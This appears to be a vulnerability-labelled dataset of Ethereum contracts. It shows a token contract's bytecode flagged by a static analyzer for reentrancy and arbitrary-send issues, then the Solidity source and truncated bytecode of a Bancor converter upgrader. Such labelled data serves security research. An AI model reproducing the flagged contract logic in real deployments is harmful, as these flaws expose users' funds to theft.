fffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613083565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131d9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610782565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f01565b60405180910390fd5b5060008385611c8b91906132ba565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60048661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60068661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f43565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612970565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130be565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613260565b9050828482612151919061322f565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc3565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f01565b60405180910390fd5b5060008385612294919061322f565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e48761250e565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124238161261d565b61242d84836126da565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a3565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000678ada88dbda61400090506124e3678ada88dbda61400060065461219c90919063ffffffff16565b82101561250157600654678ada88dbda61400093509350505061250a565b81819350935050505b9091565b600080600080600080600080600061252a8a600854600c612714565b925092509250600061253a612213565b9050600080600061254d8e8787876127aa565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ce91906131d9565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90612f83565b60405180910390fd5b8091505092915050565b6000612627612213565b9050600061263e828461212190919063ffffffff16565b905061269281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125bf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ef8260065461257590919063ffffffff16565b60068190555061270a816007546125bf90919063ffffffff16565b6007819055505050565b6000806000806127406064612732888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276a606461275c888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279382612785858c61257590919063ffffffff16565b61257590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c3858961212190919063ffffffff16565b905060006127da868961212190919063ffffffff16565b905060006127f1878961212190919063ffffffff16565b9050600061281a8261280c858761257590919063ffffffff16565b61257590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284661284184613158565b613133565b9050808382526020820190508285602086028201111561286557600080fd5b60005b85811015612895578161287b888261289f565b845260208401935060208301925050600181019050612868565b5050509392505050565b6000813590506128ae81613796565b92915050565b6000815190506128c381613796565b92915050565b600082601f8301126128da57600080fd5b81356128ea848260208601612833565b91505092915050565b600081359050612902816137ad565b92915050565b600081519050612917816137ad565b92915050565b60008135905061292c816137c4565b92915050565b600081519050612941816137c4565b92915050565b60006020828403121561295957600080fd5b60006129678482850161289f565b91505092915050565b60006020828403121561298257600080fd5b6000612990848285016128b4565b91505092915050565b600080604083850312156129ac57600080fd5b60006129ba8582860161289f565b92505060206129cb8582860161289f565b9150509250929050565b6000806000606084860312156129ea57600080fd5b60006129f88682870161289f565b9350506020612a098682870161289f565b9250506040612a1a8682870161291d565b9150509250925092565b60008060408385031215612a3757600080fd5b6000612a458582860161289f565b9250506020612a568582860161291d565b9150509250929050565b600060208284031215612a7257600080fd5b600082013567ffffffffffffffff811115612a8c57600080fd5b612a98848285016128c9565b91505092915050565b600060208284031215612ab357600080fd5b6000612ac1848285016128f3565b91505092915050565b600060208284031215612adc57600080fd5b6000612aea84828501612908565b91505092915050565b600060208284031215612b0557600080fd5b6000612b138482850161291d565b91505092915050565b600080600060608486031215612b3157600080fd5b6000612b3f86828701612932565b9350506020612b5086828701612932565b9250506040612b6186828701612932565b9150509250925092565b6000612b778383612b83565b60208301905092915050565b612b8c816132ee565b82525050565b612b9b816132ee565b82525050565b6000612bac82613194565b612bb681856131b7565b9350612bc183613184565b8060005b83811015612bf2578151612bd98882612b6b565b9750612be4836131aa565b925050600181019050612bc5565b5085935050505092915050565b612c0881613300565b82525050565b612c1781613343565b82525050565b6000612c288261319f565b612c3281856131c8565b9350612c42818560208601613355565b612c4b8161348f565b840191505092915050565b6000612c636023836131c8565b9150612c6e826134a0565b604082019050919050565b6000612c86602a836131c8565b9150612c91826134ef565b604082019050919050565b6000612ca96022836131c8565b9150612cb48261353e565b604082019050919050565b6000612ccc601b836131c8565b9150612cd78261358d565b602082019050919050565b6000612cef601d836131c8565b9150612cfa826135b6565b602082019050919050565b6000612d126021836131c8565b9150612d1d826135df565b604082019050919050565b6000612d356020836131c8565b9150612d408261362e565b602082019050919050565b6000612d586029836131c8565b9150612d6382613657565b604082019050919050565b6000612d7b6025836131c8565b9150612d86826136a6565b604082019050919050565b6000612d9e6024836131c8565b9150612da9826136f5565b604082019050919050565b6000612dc16017836131c8565b9150612dcc82613744565b602082019050919050565b6000612de46011836131c8565b9150612def8261376d565b602082019050919050565b612e038161332c565b82525050565b612e1281613336565b82525050565b6000602082019050612e2d6000830184612b92565b92915050565b6000604082019050612e486000830185612b92565b612e556020830184612b92565b9392505050565b6000604082019050612e716000830185612b92565b612e7e6020830184612dfa565b9392505050565b600060c082019050612e9a6000830189612b92565b612ea76020830188612dfa565b612eb46040830187612c0e565b612ec16060830186612c0e565b612ece6080830185612b92565b612edb60a0830184612dfa565b979650505050505050565b6000602082019050612efb6000830184612bff565b92915050565b60006020820190508181036000830152612f1b8184612c1d565b905092915050565b60006020820190508181036000830152612f3c81612c56565b9050919050565b60006020820190508181036000830152612f5c81612c79565b9050919050565b60006020820190508181036000830152612f7c81612c9c565b9050919050565b60006020820190508181036000830152612f9c81612cbf565b9050919050565b60006020820190508181036000830152612fbc81612ce2565b9050919050565b60006020820190508181036000830152612fdc81612d05565b9050919050565b60006020820190508181036000830152612ffc81612d28565b9050919050565b6000602082019050818103600083015261301c81612d4b565b9050919050565b6000602082019050818103600083015261303c81612d6e565b9050919050565b6000602082019050818103600083015261305c81612d91565b9050919050565b6000602082019050818103600083015261307c81612db4565b9050919050565b6000602082019050818103600083015261309c81612dd7565b9050919050565b60006020820190506130b86000830184612dfa565b92915050565b600060a0820190506130d36000830188612dfa565b6130e06020830187612c0e565b81810360408301526130f28186612ba1565b90506131016060830185612b92565b61310e6080830184612dfa565b9695505050505050565b600060208201905061312d6000830184612e09565b92915050565b600061313d61314e565b90506131498282613388565b919050565b6000604051905090565b600067ffffffffffffffff82111561317357613172613460565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e48261332c565b91506131ef8361332c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322457613223613402565b5b828201905092915050565b600061323a8261332c565b91506132458361332c565b92508261325557613254613431565b5b828204905092915050565b600061326b8261332c565b91506132768361332c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132af576132ae613402565b5b828202905092915050565b60006132c58261332c565b91506132d08361332c565b9250828210156132e3576132e2613402565b5b828203905092915050565b60006132f98261330c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061334e8261332c565b9050919050565b60005b83811015613373578082015181840152602081019050613358565b83811115613382576000848401525b50505050565b6133918261348f565b810181811067ffffffffffffffff821117156133b0576133af613460565b5b80604052505050565b60006133c48261332c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133f7576133f6613402565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61379f816132ee565b81146137aa57600080fd5b50565b6137b681613300565b81146137c157600080fd5b50565b6137cd8161332c565b81146137d857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207e1e1905c44d8894dc3c7412648447df9019aaa16b35b897bfc0c64fda4c6dec64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,098 |
0xaebf1085dd9a0fa403a75399c956595e3a7c3d5c
|
pragma solidity ^0.4.21;
/*
Owned contract interface
*/
contract IOwned {
// this function isn't abstract since the compiler emits automatically generated getter functions as external
function owner() public view returns (address) {}
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
}
/*
ERC20 Standard Token interface
*/
contract IERC20Token {
// these functions aren't abstract since the compiler emits automatically generated getter functions as external
function name() public view returns (string) {}
function symbol() public view returns (string) {}
function decimals() public view returns (uint8) {}
function totalSupply() public view returns (uint256) {}
function balanceOf(address _owner) public view returns (uint256) { _owner; }
function allowance(address _owner, address _spender) public view returns (uint256) { _owner; _spender; }
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
/*
Smart Token interface
*/
contract ISmartToken is IOwned, IERC20Token {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
/*
Contract Registry interface
*/
contract IContractRegistry {
function getAddress(bytes32 _contractName) public view returns (address);
}
/*
Contract Features interface
*/
contract IContractFeatures {
function isSupported(address _contract, uint256 _features) public view returns (bool);
function enableFeatures(uint256 _features, bool _enable) public;
}
/*
Whitelist interface
*/
contract IWhitelist {
function isWhitelisted(address _address) public view returns (bool);
}
/*
Bancor Converter interface
*/
contract IBancorConverter {
function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256);
function convert(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
function conversionWhitelist() public view returns (IWhitelist) {}
// deprecated, backward compatibility
function change(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256);
}
/*
Bancor Converter Factory interface
*/
contract IBancorConverterFactory {
function createConverter(
ISmartToken _token,
IContractRegistry _registry,
uint32 _maxConversionFee,
IERC20Token _connectorToken,
uint32 _connectorWeight
)
public returns (address);
}
/*
Bancor converter dedicated interface
*/
contract IBancorConverterExtended is IBancorConverter, IOwned {
function token() public view returns (ISmartToken) {}
function quickBuyPath(uint256 _index) public view returns (IERC20Token) { _index; }
function maxConversionFee() public view returns (uint32) {}
function conversionFee() public view returns (uint32) {}
function connectorTokenCount() public view returns (uint16);
function reserveTokenCount() public view returns (uint16);
function connectorTokens(uint256 _index) public view returns (IERC20Token) { _index; }
function reserveTokens(uint256 _index) public view returns (IERC20Token) { _index; }
function setConversionWhitelist(IWhitelist _whitelist) public;
function getQuickBuyPathLength() public view returns (uint256);
function transferTokenOwnership(address _newOwner) public;
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public;
function acceptTokenOwnership() public;
function transferManagement(address _newManager) public;
function acceptManagement() public;
function setConversionFee(uint32 _conversionFee) public;
function setQuickBuyPath(IERC20Token[] _path) public;
function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance) public;
function updateConnector(IERC20Token _connectorToken, uint32 _weight, bool _enableVirtualBalance, uint256 _virtualBalance) public;
function getConnectorBalance(IERC20Token _connectorToken) public view returns (uint256);
function getReserveBalance(IERC20Token _reserveToken) public view returns (uint256);
function connectors(address _address) public view returns (
uint256 virtualBalance,
uint32 weight,
bool isVirtualBalanceEnabled,
bool isPurchaseEnabled,
bool isSet
);
function reserves(address _address) public view returns (
uint256 virtualBalance,
uint32 weight,
bool isVirtualBalanceEnabled,
bool isPurchaseEnabled,
bool isSet
);
}
/*
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
function Owned() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
assert(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
Id definitions for bancor contracts
Can be used in conjunction with the contract registry to get contract addresses
*/
contract ContractIds {
// generic
bytes32 public constant CONTRACT_FEATURES = "ContractFeatures";
// bancor logic
bytes32 public constant BANCOR_NETWORK = "BancorNetwork";
bytes32 public constant BANCOR_FORMULA = "BancorFormula";
bytes32 public constant BANCOR_GAS_PRICE_LIMIT = "BancorGasPriceLimit";
bytes32 public constant BANCOR_CONVERTER_FACTORY = "BancorConverterFactory";
bytes32 public constant BANCOR_CONVERTER_UPGRADER = "BancorConverterUpgrader";
// tokens
bytes32 public constant BNT_TOKEN = "BNTToken";
}
/**
Id definitions for bancor contract features
Can be used to query the ContractFeatures contract to check whether a certain feature is supported by a contract
*/
contract FeatureIds {
// converter features
uint256 public constant CONVERTER_CONVERSION_WHITELIST = 1 << 0;
}
/*
Bancor Converter Upgrader
The Bancor converter upgrader contract allows upgrading an older Bancor converter
contract (0.4 and up) to the latest version.
To begin the upgrade process, first transfer the converter ownership to the upgrader
contract and then call the upgrade function.
At the end of the process, the ownership of the newly upgraded converter will be transferred
back to the original owner.
The address of the new converter is available in the ConverterUpgrade event.
*/
contract BancorConverterUpgrader is Owned, ContractIds, FeatureIds {
string public version = '0.2';
IContractRegistry public registry; // contract registry contract address
IBancorConverterFactory public bancorConverterFactory; // bancor converter factory contract
// triggered when the contract accept a converter ownership
event ConverterOwned(address indexed _converter, address indexed _owner);
// triggered when the upgrading process is done
event ConverterUpgrade(address indexed _oldConverter, address indexed _newConverter);
/**
@dev constructor
*/
function BancorConverterUpgrader(IBancorConverterFactory _bancorConverterFactory, IContractRegistry _registry) public {
bancorConverterFactory = _bancorConverterFactory;
registry = _registry;
}
/*
@dev allows the owner to update the factory contract address
@param _bancorConverterFactory address of a bancor converter factory contract
*/
function setBancorConverterFactory(IBancorConverterFactory _bancorConverterFactory) public ownerOnly {
bancorConverterFactory = _bancorConverterFactory;
}
/*
@dev allows the owner to update the contract registry contract address
@param _registry address of a contract registry contract
*/
function setContractRegistry(IContractRegistry _registry) public ownerOnly {
registry = _registry;
}
/**
@dev upgrade an old converter to the latest version
will throw if ownership wasn't transferred to the upgrader before calling this function.
ownership of the new converter will be transferred back to the original owner.
fires the ConverterUpgrade event upon success.
@param _oldConverter old converter contract address
@param _version old converter version
*/
function upgrade(IBancorConverterExtended _oldConverter, bytes32 _version) public {
bool formerVersions = false;
if (_version == "0.4")
formerVersions = true;
acceptConverterOwnership(_oldConverter);
IBancorConverterExtended newConverter = createConverter(_oldConverter);
copyConnectors(_oldConverter, newConverter, formerVersions);
copyConversionFee(_oldConverter, newConverter);
copyQuickBuyPath(_oldConverter, newConverter);
transferConnectorsBalances(_oldConverter, newConverter, formerVersions);
ISmartToken token = _oldConverter.token();
if (token.owner() == address(_oldConverter)) {
_oldConverter.transferTokenOwnership(newConverter);
newConverter.acceptTokenOwnership();
}
_oldConverter.transferOwnership(msg.sender);
newConverter.transferOwnership(msg.sender);
newConverter.transferManagement(msg.sender);
emit ConverterUpgrade(address(_oldConverter), address(newConverter));
}
/**
@dev the first step when upgrading a converter is to transfer the ownership to the local contract.
the upgrader contract then needs to accept the ownership transfer before initiating
the upgrade process.
fires the ConverterOwned event upon success
@param _oldConverter converter to accept ownership of
*/
function acceptConverterOwnership(IBancorConverterExtended _oldConverter) private {
require(msg.sender == _oldConverter.owner());
_oldConverter.acceptOwnership();
emit ConverterOwned(_oldConverter, this);
}
/**
@dev creates a new converter with same basic data as the original old converter
the newly created converter will have no connectors at this step.
@param _oldConverter old converter contract address
@return the new converter new converter contract address
*/
function createConverter(IBancorConverterExtended _oldConverter) private returns(IBancorConverterExtended) {
IWhitelist whitelist;
ISmartToken token = _oldConverter.token();
uint32 maxConversionFee = _oldConverter.maxConversionFee();
address converterAdderess = bancorConverterFactory.createConverter(
token,
registry,
maxConversionFee,
IERC20Token(address(0)),
0
);
IBancorConverterExtended converter = IBancorConverterExtended(converterAdderess);
converter.acceptOwnership();
converter.acceptManagement();
// get the contract features address from the registry
IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES));
if (features.isSupported(_oldConverter, FeatureIds.CONVERTER_CONVERSION_WHITELIST)) {
whitelist = _oldConverter.conversionWhitelist();
if (whitelist != address(0))
converter.setConversionWhitelist(whitelist);
}
return converter;
}
/**
@dev copies the connectors from the old converter to the new one.
note that this will not work for an unlimited number of connectors due to block gas limit constraints.
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
@param _isLegacyVersion true if the converter version is under 0.5
*/
function copyConnectors(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter, bool _isLegacyVersion)
private
{
uint256 virtualBalance;
uint32 weight;
bool isVirtualBalanceEnabled;
bool isPurchaseEnabled;
bool isSet;
uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount();
for (uint16 i = 0; i < connectorTokenCount; i++) {
address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i);
(virtualBalance, weight, isVirtualBalanceEnabled, isPurchaseEnabled, isSet) = readConnector(
_oldConverter,
connectorAddress,
_isLegacyVersion
);
IERC20Token connectorToken = IERC20Token(connectorAddress);
_newConverter.addConnector(connectorToken, weight, isVirtualBalanceEnabled);
if (isVirtualBalanceEnabled)
_newConverter.updateConnector(connectorToken, weight, isVirtualBalanceEnabled, virtualBalance);
}
}
/**
@dev copies the conversion fee from the old converter to the new one
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
*/
function copyConversionFee(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter) private {
uint32 conversionFee = _oldConverter.conversionFee();
_newConverter.setConversionFee(conversionFee);
}
/**
@dev copies the quick buy path from the old converter to the new one
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
*/
function copyQuickBuyPath(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter) private {
uint256 quickBuyPathLength = _oldConverter.getQuickBuyPathLength();
if (quickBuyPathLength <= 0)
return;
IERC20Token[] memory path = new IERC20Token[](quickBuyPathLength);
for (uint256 i = 0; i < quickBuyPathLength; i++) {
path[i] = _oldConverter.quickBuyPath(i);
}
_newConverter.setQuickBuyPath(path);
}
/**
@dev transfers the balance of each connector in the old converter to the new one.
note that the function assumes that the new converter already has the exact same number of
also, this will not work for an unlimited number of connectors due to block gas limit constraints.
@param _oldConverter old converter contract address
@param _newConverter new converter contract address
@param _isLegacyVersion true if the converter version is under 0.5
*/
function transferConnectorsBalances(IBancorConverterExtended _oldConverter, IBancorConverterExtended _newConverter, bool _isLegacyVersion)
private
{
uint256 connectorBalance;
uint16 connectorTokenCount = _isLegacyVersion ? _oldConverter.reserveTokenCount() : _oldConverter.connectorTokenCount();
for (uint16 i = 0; i < connectorTokenCount; i++) {
address connectorAddress = _isLegacyVersion ? _oldConverter.reserveTokens(i) : _oldConverter.connectorTokens(i);
IERC20Token connector = IERC20Token(connectorAddress);
connectorBalance = connector.balanceOf(_oldConverter);
_oldConverter.withdrawTokens(connector, address(_newConverter), connectorBalance);
}
}
/**
@dev returns the connector settings
@param _converter old converter contract address
@param _address connector's address to read from
@param _isLegacyVersion true if the converter version is under 0.5
@return connector's settings
*/
function readConnector(IBancorConverterExtended _converter, address _address, bool _isLegacyVersion)
private
view
returns(uint256 virtualBalance, uint32 weight, bool isVirtualBalanceEnabled, bool isPurchaseEnabled, bool isSet)
{
return _isLegacyVersion ? _converter.reserves(_address) : _converter.connectors(_address);
}
}
|
0x6060604052600436106100e25763ffffffff60e060020a6000350416630c87355e81146100e75780631050f4e81461010c5780631d000b611461012d57806354fd4d50146101405780635a46f06c146101ca5780636d7bd3fc146101dd57806379ba5097146101f05780637b1039991461020357806383315b6e146102325780638da5cb5b146102455780639232494e146102585780639249993a1461026b57806392d1abb71461027e578063a236730514610291578063ce0bd51f146102b3578063d4ee1d90146102c6578063f2fde38b146102d9578063fcd13d65146102f8575b600080fd5b34156100f257600080fd5b6100fa610317565b60405190815260200160405180910390f35b341561011757600080fd5b61012b600160a060020a036004351661033b565b005b341561013857600080fd5b6100fa610382565b341561014b57600080fd5b6101536103a6565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018f578082015183820152602001610177565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d557600080fd5b6100fa610444565b34156101e857600080fd5b6100fa610468565b34156101fb57600080fd5b61012b61048c565b341561020e57600080fd5b61021661051a565b604051600160a060020a03909116815260200160405180910390f35b341561023d57600080fd5b6100fa610529565b341561025057600080fd5b61021661054d565b341561026357600080fd5b6100fa61055c565b341561027657600080fd5b6100fa610580565b341561028957600080fd5b6100fa6105a4565b341561029c57600080fd5b61012b600160a060020a03600435166024356105a9565b34156102be57600080fd5b6102166108e8565b34156102d157600080fd5b6102166108f7565b34156102e457600080fd5b61012b600160a060020a0360043516610906565b341561030357600080fd5b61012b600160a060020a0360043516610968565b7f42616e636f72436f6e766572746572557067726164657200000000000000000081565b60005433600160a060020a0390811691161461035357fe5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b7f424e54546f6b656e00000000000000000000000000000000000000000000000081565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043c5780601f106104115761010080835404028352916020019161043c565b820191906000526020600020905b81548152906001019060200180831161041f57829003601f168201915b505050505081565b7f42616e636f72436f6e766572746572466163746f72790000000000000000000081565b7f42616e636f72466f726d756c610000000000000000000000000000000000000081565b60015433600160a060020a039081169116146104a757600080fd5b600154600054600160a060020a0391821691167f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a60405160405180910390a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600354600160a060020a031681565b7